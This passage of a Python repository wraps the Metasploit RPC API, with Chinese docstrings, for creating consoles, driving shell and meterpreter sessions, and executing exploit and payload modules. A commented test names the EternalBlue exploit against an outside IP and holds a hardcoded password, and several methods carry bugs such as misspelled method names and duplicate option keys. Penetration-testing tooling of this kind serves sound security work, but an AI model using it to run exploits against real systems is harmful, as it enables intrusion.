66 | :return 一串随机的token值:
67 | """
68 | print("Attempting to access token")
69 | self.options = ["auth.login",self.user,self.passwd]
70 | try:
71 | self.client.request("POST","/api",body=self.options,headers=self.headers)
72 | except:
73 | ConnectionError()
74 | c = self.client.getresponse()
75 | if c.status != 200:
76 | raise ConnectionError()
77 | else:
78 | res = msgpack.unpackb(c.read())
79 | print(res)
80 | if b'error' not in res.keys() and res[b'result'] == b'success':
81 | self.token = res[b'token']
82 | print("Token recived:> %s",self.token)
83 | else:
84 | raise AuthError()
85 |
86 | def send_command(self,options):
87 | self.options = options
88 | self.client.request("POST","/api",body=self.options,headers=self.headers)
89 | c = self.client.getresponse()
90 | if c.status != 200:
91 | raise ConnectionError()
92 | else:
93 | res = msgpack.unpackb(c.read())
94 | return res
95 |
96 |
97 | def get_version(self):
98 | """
99 | 获取msf和ruby的版本信息
100 | :return ruby 和 msf vresion:
101 | """
102 | res = self.send_command(["core.version",self.token])
103 | return res
104 |
105 | def create_console(self):
106 | """
107 | 创建一个虚拟终端
108 | :return :
109 | """
110 | res = self.send_command(["console.create",self.token])
111 | return res
112 |
113 | def destroy_console(self,console_id):
114 | """
115 | 销毁一个终端
116 | :param console_id 终端id:
117 | :return:
118 | """
119 | #console_id = str(console_id)
120 | res = self.send_command(["console.destroy",self.token,console_id])
121 | return res
122 |
123 | def list_consoles(self):
124 | """
125 | 获取一个已获取的终端列表,【id,prompt,busy】
126 | :return list[id,prompt,busy]:
127 | """
128 | res = self.send_command(["console.list",self.token])
129 | return res
130 |
131 | def write_console(self,console_id,data,process=True):
132 | """
133 | 向终端中写命令
134 | :param console_id: id
135 | :param data:要发送到终端的命令
136 | :param process:
137 | :return:
138 | """
139 | if process == True:
140 | data +="\n"
141 | str(console_id)
142 | res = self.send_command(["console.write",self.token,console_id,data])
143 | return res
144 |
145 | def read_console(self,console_id):
146 | """
147 | 获取发送命令后终端的执行结果
148 | :param console_id:
149 | :return:
150 | """
151 | str(console_id)
152 | res = self.send_command(["console.read",self.token,console_id])
153 | return res
154 |
155 | def list_sessions(self):
156 | """
157 | 列出所有session信息
158 | :return:
159 | """
160 | res = self.send_command(["session.list",self.token])
161 | return res
162 |
163 | def stop_session(self,ses_id):
164 | """
165 | 停止一个session
166 | :param ses_id:
167 | :return:
168 | """
169 | str(ses_id)
170 | res = self.send_command(["session.stop",self.token,ses_id])
171 | return res
172 |
173 | def read_shell(self,ses_id,read_ptr=0):
174 | """
175 | 获取session执行shell信息
176 | :param ses_id:
177 | :param read_ptr:
178 | :return:
179 | """
180 | str(ses_id)
181 | res = self.send_command(["session.shell_read",self.token,ses_id,read_ptr])
182 | return res
183 |
184 | def write_shell(self,ses_id,data,process=True):
185 | """
186 | 向一个shell发送命令
187 | :param ses_id:
188 | :param data:
189 | :param process:
190 | :return:
191 | """
192 | if process == True:
193 | data += "\n"
194 | str(ses_id)
195 | res = self.send_command(["session.shell_write",self.token,ses_id,data])
196 | return res
197 |
198 | def write_meterpreter(self,ses_id,data):
199 | """
200 | 向meterpreter发送命令
201 | :param ses_id:
202 | :param data:
203 | :return:
204 | """
205 | str(ses_id)
206 | res = self.send_command(["session.meterperter_write",self.token,ses_id,data])
207 | return res
208 |
209 | def read_meterpreter(self,ses_id):
210 | """
211 | 读取meterpreter信息
212 | :param ses_id:
213 | :return:
214 | """
215 | str(ses_id)
216 | res = self.send_command(["session.meterperter_read",self.token,ses_id])
217 | return res
218 |
219 | def run_module(self,_type,name,HOST,PORT,payload=False):
220 | """
221 | 执行模块
222 | :param _type:
223 | :param name:
224 | :param HOST:
225 | :param PORT:
226 | :param payload:
227 | :return:
228 | """
229 | if payload != False:
230 | d = ["module.execute",self.token,_type,name,{"LHOST":HOST,"LPOST":PORT}]
231 | else:
232 | d = ["module.execute",self.token,_type,name,{"RHOST":HOST,"RHOST":PORT}]
233 | res = self.send_command(d)
234 | return res
235 |
236 | # this if statement is for testing funtions inside of auth
237 | # only put tests here
238 | # if __name__ == "__main__":
239 | # auth = Client("127.0.0.1","msf","yFdkc6fB")
240 | # print(auth.get_version())
241 | # print(auth.list_consoles())
242 | # print(auth.create_console())
243 | # print(auth.read_console(1))
244 | # print(auth.write_console(1,"ls"))
245 | # print(auth.destroy_console(1))
246 | # print(auth.list_sessions())
247 | # print(auth.run_module("exploit","ms17_010_eternalblue","1.1.1.1","1"))
248 |
--------------------------------------------------------------------------------
/pymsfrpc/msfrpc.py:
--------------------------------------------------------------------------------
1 | # _*_ encoding:utf-8 _*_
2 | # __author__ = "dr0op"
3 |
4 |
5 | import http.client as req
6 | import ssl
7 | from numbers import Number
8 |
9 | from msgpack import packb, unpackb
10 |
11 |
12 | __credits__ = []
13 |
14 | __all__ = [
15 | 'MsfRpcError',
16 | 'MsfRpcMethod',
17 | 'MsfPlugins',
18 | 'MsfRpcClient',
19 | 'MsfManager',
20 | 'WorkspaceManager',
21 | 'AuthManager',
22 | 'PluginManager',
23 | 'JobManager',
24 | 'CoreManager',
25 | 'MsfModule',
26 | 'ExploitModule',
27 | 'PostModule',
28 | 'EncoderModule',
29 | 'AuxiliaryModule',
30 | 'PayloadModule',
31 | 'NopModule',
32 | 'ModuleManager',
33 | 'MsfSession',
34 | 'MeterpreterSession',
35 | 'ShellSession',
36 | 'SessionManager',
37 | 'MsfConsole',
38 | 'ConsoleManager',
39 | ]
40 |
41 |
42 | class MsfRpcError(Exception):
43 | pass
44 |
45 |
46 | class MsfRpcMethod(object):
47 | AuthLogin = 'auth.login'
48 | AuthLogout = 'auth.logout'
49 | AuthTokenList = 'auth.token_list'
50 | AuthTokenAdd = 'auth.token_add'
51 | AuthTokenGenerate = 'auth.token_generate'
52 | AuthTokenRemove = 'auth.token_remove'
53 | ConsoleCreate = 'console.create'
54 | ConsoleList = 'console.list'
55 | ConsoleDestroy = 'console.destroy'
56 | ConsoleRead = 'console.read'
57 | ConsoleWrite = 'console.write'
58 | ConsoleTabs = 'console.tabs'
59 | ConsoleSessionKill = 'console.session_kill'
60 | ConsoleSessionDetach = 'console.session_detach'
61 | CoreVersion = 'core.version'
62 | CoreStop = 'core.stop'
63 | CoreSetG = 'core.setg'
64 | CoreUnsetG = 'core.unsetg'
65 | CoreSave = 'core.save'
66 | CoreReloadModules = 'core.reload_modules'
67 | CoreModuleStats = 'core.module_stats'
68 | CoreAddModulePath = 'core.add_module_path'
69 | CoreThreadList = 'core.thread_list'
70 | CoreThreadKill = 'core.thread_kill'
71 | DbHosts = 'db.hosts'
72 | DbServices = 'db.services'
73 | DbVulns = 'db.vulns'
74 | DbWorkspaces = 'db.workspaces'
75 | DbCurrentWorkspace = 'db.current_workspace'
76 | DbGetWorkspace = 'db.get_workspace'
77 | DbSetWorkspace = 'db.set_workspace'
78 | DbDelWorkspace = 'db.del_workspace'
79 | DbAddWorkspace = 'db.add_workspace'
80 | DbGetHost = 'db.get_host'
81 | DbReportHost = 'db.report_host'
82 | DbReportService = 'db.report_service'
83 | DbGetService = 'db.get_service'
84 | DbGetNote = 'db.get_note'
85 | DbGetClient = 'db.get_client'
86 | DbReportClient = 'db.report_client'
87 | DbReportNote = 'db.report_note'
88 | DbNotes = 'db.notes'
89 | DbReportAuthInfo = 'db.report_auth_info'
90 | DbGetAuthInfo = 'db.get_auth_info'
91 | DbGetRef = 'db.get_ref'
92 | DbDelVuln = 'db.del_vuln'
93 | DbDelNote = 'db.del_note'
94 | DbDelService = 'db.del_service'
95 | DbDelHost = 'db.del_host'
96 | DbReportVuln = 'db.report_vuln'
97 | DbEvents = 'db.events'
98 | DbReportEvent = 'db.report_event'
99 | DbReportLoot = 'db.report_loot'
100 | DbLoots = 'db.loots'
101 | DbReportCred = 'db.report_cred'
102 | DbCreds = 'db.creds'
103 | DbImportData = 'db.import_data'
104 | DbGetVuln = 'db.get_vuln'
105 | DbClients = 'db.clients'
106 | DbDelClient = 'db.del_client'
107 | DbDriver = 'db.driver'
108 | DbConnect = 'db.connect'
109 | DbStatus = 'db.status'
110 | DbDisconnect = 'db.disconnect'
111 | JobList = 'job.list'
112 | JobStop = 'job.stop'
113 | JobInfo = 'job.info'
114 | ModuleExploits = 'module.exploits'
115 | ModuleAuxiliary = 'module.auxiliary'
116 | ModulePayloads = 'module.payloads'
117 | ModuleEncoders = 'module.encoders'
118 | ModuleNops = 'module.nops'
119 | ModulePost = 'module.post'
120 | ModuleInfo = 'module.info'
121 | ModuleCompatiblePayloads = 'module.compatible_payloads'
122 | ModuleCompatibleSessions = 'module.compatible_sessions'
123 | ModuleTargetCompatiblePayloads = 'module.target_compatible_payloads'
124 | ModuleOptions = 'module.options'
125 | ModuleExecute = 'module.execute'
126 | ModuleEncodeFormats = 'module.encode_formats'
127 | ModuleEncode = 'module.encode'
128 | PluginLoad = 'plugin.load'
129 | PluginUnload = 'plugin.unload'
130 | PluginLoaded = 'plugin.loaded'
131 | SessionList = 'session.list'
132 | SessionStop = 'session.stop'
133 | SessionShellRead = 'session.shell_read'
134 | SessionShellWrite = 'session.shell_write'
135 | SessionShellUpgrade = 'session.shell_upgrade'
136 | SessionMeterpreterRead = 'session.meterpreter_read'
137 | SessionRingRead = 'session.ring_read'
138 | SessionRingPut = 'session.ring_put'
139 | SessionRingLast = 'session.ring_last'
140 | SessionRingClear = 'session.ring_clear'
141 | SessionMeterpreterWrite = 'session.meterpreter_write'
142 | SessionMeterpreterSessionDetach = 'session.meterpreter_session_detach'
143 | SessionMeterpreterSessionKill = 'session.meterpreter_session_kill'
144 | SessionMeterpreterTabs = 'session.meterpreter_tabs'
145 | SessionMeterpreterRunSingle = 'session.meterpreter_run_single'
146 | SessionMeterpreterScript = 'session.meterpreter_script'
147 | SessionMeterpreterDirectorySeparator = 'session.meterpreter_directory_separator'
148 | SessionCompatibleModules = 'session.compatible_modules'
149 |
150 |
151 | class MsfPlugins(object):
152 | IpsFilter = "ips_filter"
153 | SocketLogger = "socket_logger"
154 | DbTracker = "db_tracker"
155 | Sounds = "sounds"
156 | AutoAddRoute = "auto_add_route"
157 | DbCredCollect = "db_credcollect"
158 |
159 |
160 | class MsfRpcClient(object):
161 |
162 | _headers = {
163 | 'Content-Type' : 'binary/message-pack'
164 | }
165 |
166 | def convert(self,data):
167 | """
168 | 将dict的Bytes类型转换为str类型
169 | :return:
170 | """
171 | if isinstance(data, bytes): return data.decode('ascii')
172 | if isinstance(data, dict): return dict(map(self.convert, data.items()))
173 | if isinstance(data, tuple): return map(self.convert, data)
174 | return data
175 |
176 | def __init__(self,password, **kwargs):
177 | """
178 | Connects and authenticates to a Metasploit RPC daemon.
179 |
180 | Mandatory Arguments:
181 | - password : the password used to authenticate to msfrpcd
182 |
183 | Optional Keyword Arguments:
184 | - username : the username used to authenticate to msfrpcd (default: msf)
185 | - uri : the msfrpcd URI (default: /api/)
186 | - port : the remote msfrpcd port to connect to (default: 55553)
187 | - server : the remote server IP address hosting msfrpcd (default: localhost)
188 | - ssl : if true uses SSL else regular HTTP (default: SSL enabled)
189 | - verify : if true, verify SSL cert when using SSL (default: False)
190 | """
191 | self.uri = kwargs.get('uri', '/api/')
192 | self.port = kwargs.get('port', 55553)
193 | self.server = kwargs.get('server', '127.0.0.1')
194 | self.ssl = kwargs.get('ssl', False)
195 | self.verify_ssl = kwargs.get('verify', False)
196 | self.sessionid = kwargs.get('token')
197 | if self.ssl:
198 | if self.verify_ssl:
199 | self.client = req.HTTPConnection(self.server, self.port)
200 | else:
201 | self.client = req.HTTPSConnection(self.server, self.port, context=ssl._create_unverified_context())
202 | else:
203 | self.client = req.HTTPConnection(self.server, self.port)
204 | self.login(kwargs.get('username', 'msf'), password)
205 |
206 | def call(self, method, *args):
207 | """
208 | Builds an RPC request and retrieves the result.
209 |
210 | Mandatory Arguments:
211 | - method : the RPC call method name (e.g. db.clients)
212 |
213 | Optional Arguments:
214 | - *args : the RPC method's parameters if necessary
215 |
216 | Returns : RPC call result
217 | """
218 | l = [ method ]
219 | l.extend(args)
220 | if method == MsfRpcMethod.AuthLogin:
221 | self.client.request('POST', self.uri, packb(l), self._headers)
222 | r = self.client.getresponse()
223 | if r.status == 200:
224 | res = unpackb(r.read())
225 | return self.convert(res)
226 | raise MsfRpcError('An unknown error has occurred while logging in.')
227 | elif self.authenticated:
228 | l.insert(1, self.sessionid)
229 | self.client.request('POST', self.uri, packb(l), self._headers)
230 | r = self.client.getresponse()
231 | if r.status == 200:
232 | result = self.convert(unpackb(r.read()))
233 | if 'error' in result:
234 | raise MsfRpcError(result['error_message'])
235 | return result
236 | raise MsfRpcError('An unknown error has occurred while performing the RPC call.')
237 | raise MsfRpcError('You cannot perform this call because you are not authenticated.')
238 |
239 | @property
240 | def core(self):
241 | """
242 | The msf RPC core manager.
243 | """
244 | return CoreManager(self)
245 |
246 | @property
247 | def modules(self):
248 | """
249 | The msf RPC modules RPC manager.
250 | """
251 | return ModuleManager(self)
252 |
253 | @property
254 | def sessions(self):
255 | """
256 | The msf RPC sessions (meterpreter & shell) manager.
257 | """
258 | return SessionManager(self)
259 |
260 | @property
261 | def jobs(self):
262 | """
263 | The msf RPC jobs manager.
264 | """
265 | return JobManager(self)
266 |
267 | @property
268 | def consoles(self):
269 | """
270 | The msf RPC consoles manager
271 | """
272 | return ConsoleManager(self)
273 |
274 | @property
275 | def authenticated(self):
276 | """
277 | Whether or not this client is authenticated.
278 | """
279 | return self.sessionid is not None
280 |
281 | @property
282 | def plugins(self):
283 | """
284 | The msf RPC plugins manager.
285 | """
286 | return PluginManager(self)
287 |
288 |
289 | @property
290 | def auth(self):
291 | """
292 | The msf authentication manager.
293 | """
294 | return AuthManager(self)
295 |
296 | def login(self, username, password):
297 | """
298 | Authenticates and reauthenticates the user to msfrpcd.
299 | """
300 | if self.sessionid is None:
301 | r = self.call(MsfRpcMethod.AuthLogin, username, password)
302 | try:
303 | if r['result'] == 'success':
304 | self.sessionid = r['token']
305 | except KeyError:
306 | raise MsfRpcError('Login failed.')
307 | else:
308 | try:
309 | r = self.call(MsfRpcMethod.DbStatus)
310 | except MsfRpcError:
311 | raise MsfRpcError('Login failed.')
312 |
313 | def logout(self):
314 | """
315 | Logs the current user out. Note: do not call directly.
316 | """
317 | self.call(MsfRpcMethod.AuthLogout, self.sessionid)
318 |
319 |
320 |
321 |
322 |
323 | class MsfManager(object):
324 |
325 | def __init__(self, rpc):
326 | """
327 | Initialize a msf component manager.
328 |
329 | Mandatory Arguments:
330 | - rpc : the msfrpc client object.
331 | """
332 | self.rpc = rpc
333 |
334 |
335 | class WorkspaceManager(MsfManager):
336 |
337 | @property
338 | def list(self):
339 | """
340 | The list of all workspaces in the current msf database.
341 | """
342 | return self.rpc.call(MsfRpcMethod.DbWorkspaces)['workspaces']
343 |
344 | def add(self, name):
345 | """
346 | Adds a workspace with the given name.
347 |
348 | Mandatory Arguments:
349 | - name : the name of the workspace
350 | """
351 | self.rpc.call(MsfRpcMethod.DbAddWorkspace, name)
352 |
353 | def get(self, name):
354 | """
355 | Get a workspace with the given name.
356 |
357 | Mandatory Arguments:
358 | - name : the name of the workspace
359 | """
360 | return self.rpc.call(MsfRpcMethod.DbGetWorkspace, name)['workspace']
361 |
362 | def remove(self, name):
363 | """
364 | Adds a workspace with the given name.
365 |
366 | Mandatory Arguments:
367 | - name : the name of the workspace
368 | """
369 | self.rpc.call(MsfRpcMethod.DbDelWorkspace, name)
370 |
371 | def set(self, name):
372 | """
373 | Sets the current workspace.
374 |
375 | Mandatory Arguments:
376 | - name : the name of the workspace
377 | """
378 | self.rpc.call(MsfRpcMethod.DbSetWorkspace, name)
379 |
380 | @property
381 | def current(self):
382 | """
383 | The current workspace.
384 | """
385 | return self.workspace(self.rpc.call(MsfRpcMethod.DbCurrentWorkspace)['workspace'])
386 |
387 |
388 | class AuthManager(MsfManager):
389 |
390 | def login(self, password, **kwargs):
391 | """
392 | Login to the msfrpc daemon.
393 |
394 | Mandatory Arguments:
395 | - password : the password used to login to msfrpc
396 |
397 | Optional Keyword Arguments:
398 | - username : the username used to authenticate to msfrpcd (default: msf)
399 | - uri : the msfrpcd URI (default: /api/)
400 | - port : the remote msfrpcd port to connect to (default: 55553)
401 | - server : the remote server IP address hosting msfrpcd (default: localhost)
402 | - ssl : if true uses SSL else regular HTTP (default: SSL enabled)
403 | """
404 | return MsfRpcClient(password, **kwargs)
405 |
406 | def logout(self, sid):
407 | """
408 | Logs out a user for a given session ID.
409 |
410 | Mandatory Arguments:
411 | - sid : a session ID that is active.
412 | """
413 | return self.rpc.call(MsfRpcMethod.AuthLogout, sid)
414 |
415 | @property
416 | def tokens(self):
417 | """
418 | The current list of active session IDs.
419 | """
420 | return self.rpc.call(MsfRpcMethod.AuthTokenList)['tokens']
421 |
422 | def add(self, token):
423 | """
424 | Add a session ID or token.
425 |
426 | Mandatory Argument:
427 | - token : a random string used as a session identifier.
428 | """
429 | self.rpc.call(MsfRpcMethod.AuthTokenAdd, token)
430 |
431 | def remove(self, token):
432 | """
433 | Remove a session ID or token.
434 |
435 | Mandatory Argument:
436 | - token : a session ID or token that is active.
437 | """
438 | self.rpc.call(MsfRpcMethod.AuthTokenRemove, token)
439 |
440 | def generate(self):
441 | """
442 | Generate a session ID or token.
443 | """
444 | return self.rpc.call(MsfRpcMethod.AuthTokenGenerate)['token']
445 |
446 |
447 | class PluginManager(MsfManager):
448 |
449 | @property
450 | def list(self):
451 | """
452 | A list of loaded plugins.
453 | """
454 | return self.rpc.call(MsfRpcMethod.PluginLoaded)['plugins']
455 |
456 | def load(self, plugin):
457 | """
458 | Load a plugin of a given name.
459 |
460 | Mandatory Arguments:
461 | - plugin : a name of a plugin to load.
462 | """
463 | self.rpc.call(MsfRpcMethod, MsfRpcMethod.PluginLoad, plugin)
464 |
465 | def unload(self, plugin):
466 | """
467 | Unload a plugin of a given name.
468 |
469 | Mandatory Arguments:
470 | - plugin : a name of a loaded plugin to unload.
471 | """
472 | self.rpc.call(MsfRpcMethod, MsfRpcMethod.PluginUnload, plugin)
473 |
474 |
475 | class JobManager(MsfManager):
476 |
477 | @property
478 | def list(self):
479 | """
480 | A list of currently running jobs.
481 | """
482 | return self.rpc.call(MsfRpcMethod.JobList)
483 |
484 | def stop(self, jobid):
485 | """
486 | Stop a job.
487 |
488 | Mandatory Argument:
489 | - jobid : the ID of the job.
490 | """
491 | self.rpc.call(MsfRpcMethod.JobStop, jobid)
492 |
493 | def info(self, jobid):
494 | """
495 | Get job information for a particular job.
496 |
497 | Mandatory Argument:
498 | - jobid : the ID of the job.
499 | """
500 | return self.rpc.call(MsfRpcMethod.JobInfo, jobid)
501 |
502 |
503 | class CoreManager(MsfManager):
504 |
505 | @property
506 | def version(self):
507 | """
508 | The version of msf core.
509 | """
510 | return self.rpc.call(MsfRpcMethod.CoreVersion)
511 |
512 | def stop(self):
513 | """
514 | Stop the core.
515 | """
516 | self.rpc.call(MsfRpcMethod.CoreStop)
517 |
518 | def setg(self, var, val):
519 | """
520 | Set a global variable
521 |
522 | Mandatory Arguments:
523 | - var : the variable name
524 | - val : the variable value
525 | """
526 | self.rpc.call(MsfRpcMethod.CoreSetG, var, val)
527 |
528 | def unsetg(self, var):
529 | """
530 | Unset a global variable
531 |
532 | Mandatory Arguments:
533 | - var : the variable name
534 | """
535 | self.rpc.call(MsfRpcMethod.CoreUnsetG, var)
536 |
537 | def save(self):
538 | """
539 | Save the core state.
540 | """
541 | self.rpc.call(MsfRpcMethod.CoreSave)
542 |
543 | def reload(self):
544 | """
545 | Reload all modules in the core.
546 | """
547 | self.rpc.call(MsfRpcMethod.CoreReloadModules)
548 |
549 | @property
550 | def stats(self):
551 | """
552 | Get module statistics from the core.
553 | """
554 | return self.rpc.call(MsfRpcMethod.CoreModuleStats)
555 |
556 | def addmodulepath(self, path):
557 | """
558 | Add a search path for additional modules.
559 |
560 | Mandatory Arguments:
561 | - path : the path to search for modules.
562 | """
563 | return self.rpc.call(MsfRpcMethod.CoreAddModulePath, path)
564 |
565 | @property
566 | def threads(self):
567 | """
568 | The current threads running in the core.
569 | """
570 | return self.rpc.call(MsfRpcMethod.CoreThreadList)
571 |
572 | def kill(self, threadid):
573 | """
574 | Kill a thread running in the core.
575 |
576 | Mandatory Arguments:
577 | - threadid : the thread ID.
578 | """
579 | self.rpc.call(MsfRpcMethod.CoreThreadKill, threadid)
580 |
581 |
582 | class MsfModule(object):
583 |
584 | def __init__(self, rpc, mtype, mname):
585 | """
586 | Initializes an msf module object.
587 |
588 | Mandatory Arguments:
589 | - rpc : the msfrpc client object.
590 | - mtype : the module type (e.g. 'exploit')
591 | - mname : the module name (e.g. 'exploits/windows/http/icecast_header')
592 | """
593 | self.moduletype = mtype
594 | self.modulename = mname
595 | self.rpc = rpc
596 | self._info = rpc.call(MsfRpcMethod.ModuleInfo, mtype, mname)
597 | for k in self._info:
598 | if isinstance(k,str) and isinstance(self._info.get(k),str):
599 | #print(self._info.get(k))
600 | setattr(self, k, self._info.get(k))
601 | self._moptions = rpc.call(MsfRpcMethod.ModuleOptions, mtype, mname)
602 | self._roptions = []
603 | self._aoptions = []
604 | self._eoptions = []
605 | self._runopts = {}
606 | for o in self._moptions:
607 | if self._moptions[o]['required']:
608 | self._roptions.append(o)
609 | if self._moptions[o]['advanced']:
610 | self._aoptions.append(o)
611 | if self._moptions[o]['evasion']:
612 | self._eoptions.append(o)
613 | if 'default' in self._moptions[o]:
614 | self._runopts[o] = self._moptions[o]['default']
615 |
616 | @property
617 | def options(self):
618 | """
619 | All the module options.
620 | """
621 | return self._moptions.keys()
622 |
623 | @property
624 | def required(self):
625 | """
626 | The required module options.
627 | """
628 | return self._roptions
629 |
630 | @property
631 | def evasion(self):
632 | """
633 | Module options that are used for evasion.
634 | """
635 | return self._eoptions
636 |
637 | @property
638 | def advanced(self):
639 | """
640 | Advanced module options.
641 | """
642 | return self._aoptions
643 |
644 | @property
645 | def runoptions(self):
646 | """
647 | The running (currently set) options for a module. This will raise an error
648 | if some of the required options are missing.
649 | """
650 | outstanding = set(self.required).difference(self._runopts.keys())
651 | if outstanding:
652 | raise TypeError('Module missing required parameter: %s' % ', '.join(outstanding))
653 | return self._runopts
654 |
655 | def optioninfo(self, option):
656 | """
657 | Get information about the module option
658 |
659 | Mandatory Argument:
660 | - option : the option name.
661 | """
662 | return self._moptions[option]
663 |
664 | def __getitem__(self, item):
665 | """
666 | Get the current option value.
667 |
668 | Mandatory Arguments:
669 | - item : the option name.
670 | """
671 | if item not in self._moptions:
672 | raise KeyError("Invalid option '%s'." % item)
673 | return self._runopts.get(item)
674 |
675 | def __setitem__(self, key, value):
676 | """
677 | Set the current option value.
678 |
679 | Mandatory Arguments:
680 | - key : the option name.
681 | - value : the option value.
682 | """
683 | if key not in self.options:
684 | raise KeyError("Invalid option '%s'." % key)
685 | elif 'enums' in self._moptions[key] and value not in self._moptions[key]['enums']:
686 | raise ValueError("Value ('%s') is not one of %s" % (value, repr(self._moptions[key]['enums'])))
687 | elif self._moptions[key]['type'] == 'bool' and not isinstance(value, bool):
688 | raise TypeError("Value must be a boolean not '%s'" % type(value).__name__)
689 | elif self._moptions[key]['type'] in ['integer', 'float'] and not isinstance(value, Number):
690 | raise TypeError("Value must be an integer not '%s'" % type(value).__name__)
691 | self._runopts[key] = value
692 |
693 | def __delitem__(self, key):
694 | del self._runopts[key]
695 |
696 | def __contains__(self, item):
697 | return item in self._runopts
698 |
699 | def update(self, d):
700 | """
701 | Update a set of options.
702 |
703 | Mandatory Arguments:
704 | - d : a dictionary of options
705 | """
706 | for k in d:
707 | self[k] = d[k]
708 |
709 | def execute(self, **kwargs):
710 | """
711 | Executes the module with its run options as parameters.
712 |
713 | Optional Keyword Arguments:
714 | - payload : the payload of an exploit module (this is mandatory if the module is an exploit).
715 | - **kwargs : can contain any module options.
716 | """
717 | runopts = self.runoptions.copy()
718 | if isinstance(self, ExploitModule):
719 | payload = kwargs.get('payload')
720 | runopts['TARGET'] = self.target
721 | if 'DisablePayloadHandler' in runopts and runopts['DisablePayloadHandler']:
722 | pass
723 | elif payload is None:
724 | runopts['DisablePayloadHandler'] = True
725 | else:
726 | if isinstance(payload, PayloadModule):
727 | if payload.modulename not in self.payloads:
728 | raise ValueError(
729 | 'Invalid payload (%s) for given target (%d).' % (payload.modulename, self.target)
730 | )
731 | runopts['PAYLOAD'] = payload.modulename
732 | for k, v in payload.runoptions.iteritems():
733 | if v is None or (isinstance(v, basestring) and not v):
734 | continue
735 | if k not in runopts or runopts[k] is None or \
736 | (isinstance(runopts[k], basestring) and not runopts[k]):
737 | runopts[k] = v
738 | # runopts.update(payload.runoptions)
739 | elif isinstance(payload, basestring):
740 | if payload not in self.payloads:
741 | raise ValueError('Invalid payload (%s) for given target (%d).' % (payload, self.target))
742 | runopts['PAYLOAD'] = payload
743 | else:
744 | raise TypeError("Expected type str or PayloadModule not '%s'" % type(kwargs['payload']).__name__)
745 |
746 | return self.rpc.call(MsfRpcMethod.ModuleExecute, self.moduletype, self.modulename, runopts)
747 |
748 |
749 | class ExploitModule(MsfModule):
750 |
751 | def __init__(self, rpc, exploit):
752 | """
753 | Initializes the use of an exploit module.
754 |
755 | Mandatory Arguments:
756 | - rpc : the rpc client used to communicate with msfrpcd
757 | - exploit : the name of the exploit module.
758 | """
759 | super(ExploitModule, self).__init__(rpc, 'exploit', exploit)
760 | self._target = self._info.get('default_target', 0)
761 |
762 | @property
763 | def payloads(self):
764 | """
765 | A list of compatible payloads.
766 | """
767 | # return self.rpc.call(MsfRpcMethod.ModuleCompatiblePayloads, self.modulename)['payloads']
768 | return self.targetpayloads(self.target)
769 |
770 | @property
771 | def target(self):
772 | return self._target
773 |
774 | @target.setter
775 | def target(self, target):
776 | if target not in self.targets:
777 | raise ValueError('Target must be one of %s' % repr(self.targets.keys()))
778 | self._target = target
779 |
780 | def targetpayloads(self, t=0):
781 | """
782 | Returns a list of compatible payloads for a given target ID.
783 |
784 | Optional Keyword Arguments:
785 | - t : the target ID (default: 0, e.g. 'Automatic')
786 | """
787 | return self.rpc.call(MsfRpcMethod.ModuleTargetCompatiblePayloads, self.modulename, t)['payloads']
788 |
789 |
790 | class PostModule(MsfModule):
791 |
792 | def __init__(self, rpc, post):
793 | """
794 | Initializes the use of a post exploitation module.
795 |
796 | Mandatory Arguments:
797 | - rpc : the rpc client used to communicate with msfrpcd
798 | - post : the name of the post exploitation module.
799 | """
800 | super(PostModule, self).__init__(rpc, 'post', post)
801 |
802 | @property
803 | def sessions(self):
804 | """
805 | A list of compatible shell/meterpreter sessions.
806 | """
807 | return self.rpc.compatiblesessions(self.modulename)
808 |
809 |
810 | class EncoderModule(MsfModule):
811 |
812 | def __init__(self, rpc, encoder):
813 | """
814 | Initializes the use of an encoder module.
815 |
816 | Mandatory Arguments:
817 | - rpc : the rpc client used to communicate with msfrpcd
818 | - encoder : the name of the encoder module.
819 | """
820 | super(EncoderModule, self).__init__(rpc, 'encoder', encoder)
821 |
822 |
823 | class AuxiliaryModule(MsfModule):
824 |
825 | def __init__(self, rpc, auxiliary):
826 | """
827 | Initializes the use of an auxiliary module.
828 |
829 | Mandatory Arguments:
830 | - rpc : the rpc client used to communicate with msfrpcd
831 | - auxiliary : the name of the auxiliary module.
832 | """
833 | super(AuxiliaryModule, self).__init__(rpc, 'auxiliary', auxiliary)
834 |
835 |
836 | class PayloadModule(MsfModule):
837 |
838 | def __init__(self, rpc, payload):
839 | """
840 | Initializes the use of a payload module.
841 |
842 | Mandatory Arguments:
843 | - rpc : the rpc client used to communicate with msfrpcd
844 | - payload : the name of the payload module.
845 | """
846 | super(PayloadModule, self).__init__(rpc, 'payload', payload)
847 |
848 |
849 | class NopModule(MsfModule):
850 |
851 | def __init__(self, rpc, nop):
852 | """
853 | Initializes the use of a nop module.
854 |
855 | Mandatory Arguments:
856 | - rpc : the rpc client used to communicate with msfrpcd
857 | - nop : the name of the nop module.
858 | """
859 | super(NopModule, self).__init__(rpc, 'nop', nop)
860 |
861 |
862 | class ModuleManager(MsfManager):
863 |
864 | def execute(self, modtype, modname, **kwargs):
865 | """
866 | Execute the module.
867 |
868 | Mandatory Arguments:
869 | - modtype : the module type (e.g. 'exploit')
870 | - modname : the module name (e.g. 'exploits/windows/http/icecast_header')
871 |
872 | Optional Keyword Arguments:
873 | - **kwargs : the module's run options
874 | """
875 | return self.rpc.call(MsfRpcMethod.ModuleExecute, modtype, modname, kwargs)
876 |
877 | @property
878 | def exploits(self):
879 | """
880 | A list of exploit modules.
881 | """
882 | return self.rpc.call(MsfRpcMethod.ModuleExploits)[b'modules']
883 |
884 | @property
885 | def payloads(self):
886 | """
887 | A list of payload modules.
888 | """
889 | return self.rpc.call(MsfRpcMethod.ModulePayloads)[b'modules']
890 |
891 | @property
892 | def auxiliary(self):
893 | """
894 | A list of auxiliary modules.
895 | """
896 | return self.rpc.call(MsfRpcMethod.ModuleAuxiliary)[b'modules']
897 |
898 | @property
899 | def post(self):
900 | """
901 | A list of post modules.
902 | """
903 | return self.rpc.call(MsfRpcMethod.ModulePost)[b'modules']
904 |
905 | @property
906 | def encodeformats(self):
907 | """
908 | A list of encoding formats.
909 | """
910 | return self.rpc.call(MsfRpcMethod.ModuleEncodeFormats)
911 |
912 | @property
913 | def encoders(self):
914 | """
915 | A list of encoder modules.
916 | """
917 | return self.rpc.call(MsfRpcMethod.ModuleEncoders)['modules']
918 |
919 | @property
920 | def nops(self):
921 | """
922 | A list of nop modules.
923 | """
924 | return self.rpc.call(MsfRpcMethod.ModuleNops)['modules']
925 |
926 | def use(self, mtype, mname):
927 | """
928 | Returns a module object.
929 |
930 | Mandatory Arguments:
931 | - mname : the module name (e.g. 'exploits/windows/http/icecast_header')
932 | """
933 | if mtype == 'exploit':
934 | return ExploitModule(self.rpc, mname)
